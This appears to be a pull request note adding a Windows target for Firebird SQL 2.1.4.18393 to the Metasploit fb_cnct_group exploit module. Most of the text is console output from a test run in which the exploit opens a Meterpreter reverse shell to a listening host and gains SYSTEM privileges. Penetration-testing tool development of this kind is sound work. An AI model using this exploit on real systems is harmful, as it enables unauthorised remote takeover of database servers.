Add a target for Firebird 2.1.4.18393

Adds support for Firebird SQL version 2.1.4.18393 on Windows.

Version 2.1.4.18393 can be downloaded from here:
http://www.firebirdsql.org/en/firebird-2-1-4/

Tested on Windows 7 SP1.

```
msf3-git (S:1 J:0)  exploit(fb_cnct_group) > show options 

Module options (exploit/windows/misc/fb_cnct_group):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.90.189   yes       The target address
   RPORT  3050             yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique: seh, thread, process, none
   LHOST     192.168.90.184   yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   3   Windows FB 2.1.4.18393


msf3-git (S:1 J:0)  exploit(fb_cnct_group) > exploit

[*] Started reverse handler on 192.168.90.184:4444 
[*] 192.168.90.189:3050 - Sending Connection Request For C:\CDIPsRpstMDZP.fdb
[*] Sending stage (752128 bytes) to 192.168.90.189
[*] Meterpreter session 4 opened (192.168.90.184:4444 -> 192.168.90.189:49188) at 2013-03-13 13:43:55 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```